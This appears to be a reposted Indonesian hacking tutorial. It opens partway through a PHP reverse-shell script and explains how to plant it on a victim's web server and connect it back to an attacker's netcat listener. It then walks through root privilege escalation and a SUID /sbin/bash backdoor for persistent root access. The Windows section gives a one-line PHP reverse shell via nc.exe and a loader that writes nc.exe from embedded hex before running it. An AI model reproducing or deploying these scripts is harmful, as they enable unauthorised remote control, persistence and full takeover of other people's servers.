printit("ERROR: Shell connection terminated"); break; } // Check for end of STDOUT if (feof($pipes[1])) { printit("ERROR: Shell process terminated"); break; } // Wait until a command is end down $sock, or some // command output is available on STDOUT or STDERR $read_a = array($sock, $pipes[1], $pipes[2]); $num_changed_sockets = stream_select($read_a, $write_a, $error_a, null); // If we can read from the TCP socket, send // data to process's STDIN if (in_array($sock, $read_a)) { if ($debug) printit("SOCK READ"); $input = fread($sock, $chunk_size); if ($debug) printit("SOCK: $input"); fwrite($pipes[0], $input); } // If we can read from the process's STDOUT // send data down tcp connection if (in_array($pipes[1], $read_a)) { if ($debug) printit("STDOUT READ"); $input = fread($pipes[1], $chunk_size); if ($debug) printit("STDOUT: $input"); fwrite($sock, $input); } // If we can read from the process's STDERR // send data down tcp connection if (in_array($pipes[2], $read_a)) { if ($debug) printit("STDERR READ"); $input = fread($pipes[2], $chunk_size); if ($debug) printit("STDERR: $input"); fwrite($sock, $input); } } fclose($sock); fclose($pipes[0]); fclose($pipes[1]); fclose($pipes[2]); proc_close($process); // Like print, but does nothing if we've daemonised ourself // (I can't figure out how to redirect STDOUT like a proper daemon) function printit ($string) { if (!$daemon) { print "$string\n"; } } ?>
Setelah file tersebut dibuat, cara
memakainya sangat mudah, anda hanya perlu memasukkan file tersebut ke
suatu website. Lalu request file PHP tersebut dari browser anda.
Contohnya bila anda menamakan file tersebut dengan rs.php, maka anda
cukup membuka browser ke URL
http://ALAMAT.IP.KORBAN/rs.php?ip=ALAMAT.IP.HACKER&port=NO.PORT.HACKER
Tapi sebelumnya anda harus sudah
menyiapkan “listener”-nya di server milik hacker. Cara termudah adalah
dengan memakai program netcat. Netcat di linux sudah secara default
tersedia, sedangkan untuk windows harus didownload dulu dari sini.
Dua gambar di bawah ini menunjukkan kondisi ketika
ketika rs.php di-request, seketika itu juga netcat yang sudah diset
untuk listen di port 443 menerima koneksi dari server korban dan
memberikan shell untuk anda. Saya memilih port 443 karena biasanya
firewall mengizinkan koneksi outbound pada port http dan https, bila
saya memilih port 4444 dikhawatirkan firewall di server korban akan
memblok koneksi tersebut karena port yang tidak umum.
Bila anda hosting di tempat yang tidak
memberikan akses ssh, jangan kuatir, dengan cara ini anda bisa
mendapatkan shell interaktif layaknya memakai ssh. Pengelola hosting
juga jangan merasa aman bila tidak menyediakan akses ssh bagi
customernya karena dengan cara ini customer bisa mendapatkan akses
shell seperti ssh dan melakukan eksploitasi lokal lebih leluasa.
Privilege Escalation
Mari kita lanjutkan skenarionya.
Setelah kita mendapatkan akses shell sebagai user apache (ceritanya
kita berhasil menghack website korban melalui sql injection attack).
Kenapa user apache? Karena webservernya kebetulan dijalankan dengan
privilege user apache.
Perintah uname memperlihatkan bahwa server hosting tersebut memakai
Linux dengan kernel yang vulnerable terhadap null pointer dereference.
Itu artinya kita bisa menjadi root di server hosting tersebut. Gambar
di bawah ini adalah langkah yang dilakukan hacker untuk menjadi root.
Reverse Rootshell
Setelah menjadi root dengan
mengeksploitasi kernel, hacker berusaha memasang backdoor sehingga dia
bisa mendapatkan rootshell kapan saja dia mau. Dia akan membuat salinan
/bin/bash ke dalam /sbin/bash, kemudian mengubah permissionnya menjadi
SUID root (4755). Dengan cara ini, siapapun yang mengeksekusi
/sbin/bash bisa menjadi root (khusus untuk bash perlu ditambahkan opsi
-p untuk mendapatkan rootshell).
Setelah membuat /sbin/bash, kini hacker
membuat file baru rsroot.php yang merupakan modifikasi dari rs.php.
Perbedaan antara rs.php dan rsroot.php hanya pada baris yang berisi
variabel $shell. Bila sebelumnya variable $shell berisi /bin/bash, maka
kini menjadi /sbin/bash yaitu root shell yang sudah dibuat hacker.
Sekarang backdoor rsroot.php sudah siap
dieksekusi. Kapanpun hacker menginginkan rootshell di server korban,
dia hanya perlu membuka URL
http://ALAMAT.IP.KORBAN/rsroot.php?ip=ALAMAT.IP.HACKER&port=NO.PORT.HACKER.
Gambar di bawah ini menunjukkan
perbedaan antara rs.php dan rsroot.php. Ketika hacker mendapatkan
rootshell dengan merequest URL rsroot.php terlihat karakter prompt yang
didapatkan adalah “#” yang berarti ini adalah rootshell. Namun ketika
shell di dapatkan melalui rs.php, maka prompt yang didapatkan adalah
“$” yang berarti hanya normal shell sebagai apache.
Reverse Shell di Windows
File rs.php hanya berlaku untuk server
berbasis UNIX seperti Linux, file tersebut tidak berlaku bila webserver
berjalan di OS Windows. Karena implementasi dalam php murni tidak bisa,
jadi saya menyiasati dengan cara script php tersebut mengeksekusi
netcat.exe untuk memberikan reverse shell ke server hacker.
Dalam script php, reverse shell yang memanfaatkan netcat.exe bisa dibuat dalam satu baris saja:
<?php system("nc.exe ".$_GET["ip"]." ".$_GET["port"]." -d -e cmd.exe"); ?>
Masalahnya adalah script di atas
memanggil netcat (nc.exe) yang umumnya tidak ada di windows. Ada
beberapa alternatif cara untuk mendapatkan nc.exe di windows.
Alternatifnya adalah:
- download: file nc.exe didownload dari suatu server. Donwload bisa dengan php atau tftp.exe.
- upload: dibuat suatu file php untuk melakukan upload file ke webserver.
- generate: script php akan membuat file nc.exe kemudian mengeksekusinya.
Dari ketiga alternatif tersebut saya memilih opsi terakhir, yaitu
generate karena paling praktis, tidak perlu download/upload nc.exe
terpisah, cukup satu file php saja. Caranya adalah saya mengubah isi
file binary nc.exe menjadi bentuk hexa, kemudian menaruhnya di awal
file php sebagai variabel string. Kemudian isi variabel string ini akan
diubah menjadi bentuk binary decimal dan ditulis ke dalam file nc.exe.
Potongan script php di bawah ini
mengubah variabel string dalam bentuk hexa ($hex) menjadi bentuk
karakter ASCII (binary) dengan fungsi chr() dan disimpan dalam variabel
$nc. Kemudian variabel $nc ini ditulis ke dalam file nc.exe dengan
fungsi file_put_contents(). Setelah file nc.exe berhasil dibuat, maka
dilanjutkan dengan mengeksekusi nc.exe dengan fungsi system().
Dalam potongan code ini, isi variabel $hex sengaja tidak ditulis lengkap agar mudah dilihat.
<? $hex= "310101010255362c043bdfcc7ca3b2ff01141b89b009b9140100d9086c64". "2feff743a88d6c11006fe4f692cb6f91739192980f96985c8ebcbd659d0b". "699d40629b669b4a9cdc9e309c27349c1c112dea77e00102a635002f003f". "43fccddffd00a44700e047017700974800e0488d00984900e049dffccddf". "8600994b00e04b73009b4d00e04d74009d4f00cddffccde04f75009f5000". "e0509100a05100e05176f2cddffc00a15200e0529200a25300e0539300a3". "0000237521721b243100ba78f6fdfbdd3200970300793300230f7a340024". "077b9df87cf9df250f7c36005e001e7d3700267e38736cf00a1d1a39fd0f". "cf97ffbc80300029812d005f001f823d002b8397b7db47d47f070e09030f". "00947100dfde4c6d9f1136e457001707116500456b253614dd1272090407". "db6f866d13d454f702790059001907155de1ad6dda550407166900094317". "cdb1c1ee6f004f480018d65013220477fbb55ba2c71a5d9a001dd65553ad". "0e1b1ce76191a6fe526bd51e815ccc1f6400440004a2c4a76e660046c321". "671de75bc78ea222689f083f236a004a4b3460e1246b006f0b9a164cffda". "efcb000c263b003a4e27272a072860007eca42903a95225c28beb5c7747a". "005a8c062c7800582c7414ef0c2d630043db2e8e56e828de51af2f620042". "f23095b81596c54e1407316d8d3dbe3fdfb100322c003c332e003e073413". "953487748d352a72740ddbb210a054a2684655749b5b30822e3d70a46a4e". "57616b6e3304ce3f907cce4058dc82db9a947641a80c6e8e0bcd2d144284". "6fa6c21470652d140c1e4a1471fe36cb663b4737077748388d49394af0e4". "d91f842d4b34dcf22c70c0b24d367d742b36cb66794f3175503291513396". "cdb25976523092532e93bff4bf42e085e087e089e08b09e088e08ae08d72". "66a48c5ba20337919cc056b224e04881da455c00a5c0d0c5852efd1f5253". "4453d7cf6e066ef8969fa9d33d46fcf5fc8a7e2600633a5c3e5c5265817d"; $nc = ""; for ($i=0;$i<strlen($hex)/2;$i++) { $nc.=chr(hexdec($hex[$i*2].$hex[$i*2+1])); } file_put_contents("nc.exe",$nc); system("nc.exe ".$_GET["ip"]." ".$_GET["port"]." -d -e cmd.exe"); ?>
Source code lengkap reverse shell php di windows bisa didownload di sini
lalu ekstrak dan masukkan ke web server milik korban. Gambar di bawah
ini menunjukkan ketika file rswin.php dieksekusi dan memberikan shell
cmd.exe kepada server milik hacker yang menjalankan Linux.
sumber : http://www.ilmuhacking.com/ e-IT October 28, 2010 New Google SEO Bandung, Indonesia

